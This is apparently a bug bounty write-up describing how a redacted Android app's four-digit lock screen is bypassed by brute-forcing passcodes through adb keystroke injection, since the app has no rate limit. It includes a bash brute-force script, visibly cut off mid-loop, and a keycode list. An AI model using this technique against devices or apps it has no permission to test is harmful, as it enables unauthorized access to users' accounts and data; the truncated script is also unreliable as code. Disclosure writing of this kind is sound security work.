WRITE UP – Android Application Screen Lock bypass via adb brute forcing


Introduction:

Hi everyone It’s been a while since my last post but I’m back, I want to tell you a short story about how to simulate android keystrokes virtually in order to perform a brute-forcing attack with adb tools

If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection


Report Summary:

Hi REDACTED team, I was able to find a way to bypass the screen lock in your REDACTED Android application.

I was able to bypass the passcode because there is no rate limit, so since it is a 4 digit passcode, anyone can try any combination between 0000 and 9999.

Proof of concept:

1.- Get the latest REDACTED Android application (X.X.X version) from Google Playstore.

2.- Open the android application, login with your credentials, then navigate to:

menu > settings > lockscreen  and set the passcode (in my case I set 5555 as passcode)

3.- Then connect your phone via USB, make sure that you have USB debugging mode in your phone, and test the connection with the following command

omespino@h0st:~# adb devices
List of devices attached
e16bc6a3	device

3.- After that run the brute_passcode.sh script (attached) and just wait

#!/usr/bin/env bash
package_name="com.example.redacted_application"
adb shell am force-stop $package_name > /dev/null 2>&1
adb shell monkey -p $package_name -c android.intent.category.LAUNCHER 1 > /dev/null 2>&1
clear
echo
echo "---- BRUTE FORCING SCRIPT STARTED ----"
echo "launching REDACTED application ... DONE"
# the user passcode is 5555, in this example just try 10 passcodes for the POC
# for the full brute force just change {5550..5560} to {0000..9999}
for i in {5550..5560}; do
    printf "trying passcode %d \r" "$i"
    for (( j=0; j


PS. You can change the passcode range from {5550..5560} to {0000..9999}, I've tried with all combinations and it worked successfully because there is no limit rate-limited on passcode tries.

Number event codes list (Stack overflow reference):

...
7 -->  "KEYCODE_0" 
8 -->  "KEYCODE_1" 
9 -->  "KEYCODE_2" 
10 -->  "KEYCODE_3" 
11 -->  "KEYCODE_4" 
12 -->  "KEYCODE_5" 
13 -->  "KEYCODE_6" 
14 -->  "KEYCODE_7" 
15 -->  "KEYCODE_8" 
16 -->  "KEYCODE_9" 
...


Environment and tools

adb Android Debug Bridge version 1.0.39
my own Android device

Impact

An attacker can bypass REDACTED's android application lockscreen.

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

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